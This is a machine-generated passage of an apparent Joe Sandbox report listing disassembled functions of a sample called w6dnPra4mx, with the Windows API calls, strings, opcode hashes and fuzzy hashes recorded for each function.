                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                              • String ID: *.*
                              • API String ID: 1153243558-438819550
                              • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                              • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                              • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                              • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                              APIs
                              • _memset.LIBCMT ref: 00455127
                              • GetMenuItemInfoW.USER32 ref: 00455146
                              • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                              • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                              • GetMenuItemCount.USER32(?), ref: 004551D9
                              • SetMenu.USER32(?,00000000), ref: 004551E7
                              • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                              • DrawMenuBar.USER32 ref: 00455207
                              • DeleteObject.GDI32(?), ref: 0045564E
                              • DeleteObject.GDI32(?), ref: 0045565C
                              • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                              • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                              • String ID: 0
                              • API String ID: 1663942905-4108050209
                              • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                              • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                              • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                              • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                              • String ID:
                              • API String ID: 1481289235-0
                              • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                              • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                              • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                              • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                              APIs
                              • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                              • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                              • SendMessageW.USER32 ref: 0046FBAF
                              • SendMessageW.USER32 ref: 0046FBE2
                              • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                              • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                              • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                              • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                              • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                              • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                              • SendMessageW.USER32 ref: 0046FD00
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$IconImageList_$CreateExtractReplace
                              • String ID:
                              • API String ID: 2632138820-0
                              • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                              • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                              • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                              • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                              APIs
                              • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                              • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                              • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                              • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                              • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                              • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                              • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                              • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                              • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                              • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                              • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                              • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                              • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                              • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                              • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CursorLoad
                              • String ID:
                              • API String ID: 3238433803-0
                              • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                              • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                              • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                              • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                              APIs
                              • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                              • _wcslen.LIBCMT ref: 00460B00
                              • __swprintf.LIBCMT ref: 00460B9E
                              • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                              • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                              • GetDlgCtrlID.USER32(?), ref: 00460CE6
                              • GetWindowRect.USER32(?,?), ref: 00460D21
                              • GetParent.USER32(?), ref: 00460D40
                              • ScreenToClient.USER32(00000000), ref: 00460D47
                              • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                              • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                              • String ID: %s%u
                              • API String ID: 1899580136-679674701
                              • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                              • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                              • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                              • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                              APIs
                              • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                              • StringFromIID.OLE32(?,?), ref: 0047D7F0
                              • CoTaskMemFree.OLE32(?), ref: 0047D80A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: FreeFromStringTask_wcslen$_wcscpy
                              • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                              • API String ID: 2485709727-934586222
                              • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                              • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                              • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                              • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                              • String ID: HH
                              • API String ID: 3381189665-2761332787
                              • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                              • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                              • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                              • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                              APIs
                              • GetDC.USER32(00000000), ref: 00434585
                              • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                              • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                              • SelectObject.GDI32(00000000,?), ref: 004345A9
                              • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                              • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                              • String ID: (
                              • API String ID: 3300687185-3887548279
                              • Opcode ID: 850e4e4f4a3144c0c65e94ebd0f1e451ef245c66964f5ba666016bedf541cb72
                              • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                              • Opcode Fuzzy Hash: 850e4e4f4a3144c0c65e94ebd0f1e451ef245c66964f5ba666016bedf541cb72
                              • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                              APIs
                              • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                              • __swprintf.LIBCMT ref: 0045E4D9
                              • _printf.LIBCMT ref: 0045E595
                              • _printf.LIBCMT ref: 0045E5B7
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: LoadString_printf$__swprintf_wcslen
                              • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                              • API String ID: 3590180749-2894483878
                              • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                              • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                              • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                              • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                              APIs
                              • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                              • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                              • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                              • DeleteObject.GDI32(?), ref: 0046F950
                              • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                              • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                              • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                              • DeleteObject.GDI32(?), ref: 0046F9CF
                              • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                              • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                              • DestroyIcon.USER32(?), ref: 0046FA4F
                              • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                              • DeleteObject.GDI32(?), ref: 0046FA68
                              • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                              • String ID:
                              • API String ID: 3412594756-0
                              • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                              • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                              • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                              • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                              APIs
                                • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                              • GetDriveTypeW.KERNEL32 ref: 0045DA30
                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                              • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: SendString$_wcslen$BuffCharDriveLowerType
                              • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                              • API String ID: 4013263488-4113822522
                              • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                              • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                              • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                              • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                              • String ID:
                              • API String ID: 228034949-0
                              • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                              • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                              • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                              • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                              APIs
                              • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                              • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                              • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                              • GlobalLock.KERNEL32(00000000), ref: 00433523
                              • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                              • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                              • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                              • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                              • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                              • GlobalFree.KERNEL32(00000000), ref: 0043357B
                              • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                              • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                              • DeleteObject.GDI32(?), ref: 00433603
                              • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                              • String ID:
                              • API String ID: 3969911579-0
                              • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                              • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                              • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                              • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                              APIs
                              • GetParent.USER32 ref: 00445A8D
                              • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                              • __wcsicoll.LIBCMT ref: 00445AC4
                              • __wcsicoll.LIBCMT ref: 00445AE0
                              • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsicoll$ClassMessageNameParentSend
                              • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                              • API String ID: 3125838495-3381328864
                              • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                              • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                              • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                              • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CopyVariant$ErrorLast
                              • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                              • API String ID: 2286883814-4206948668
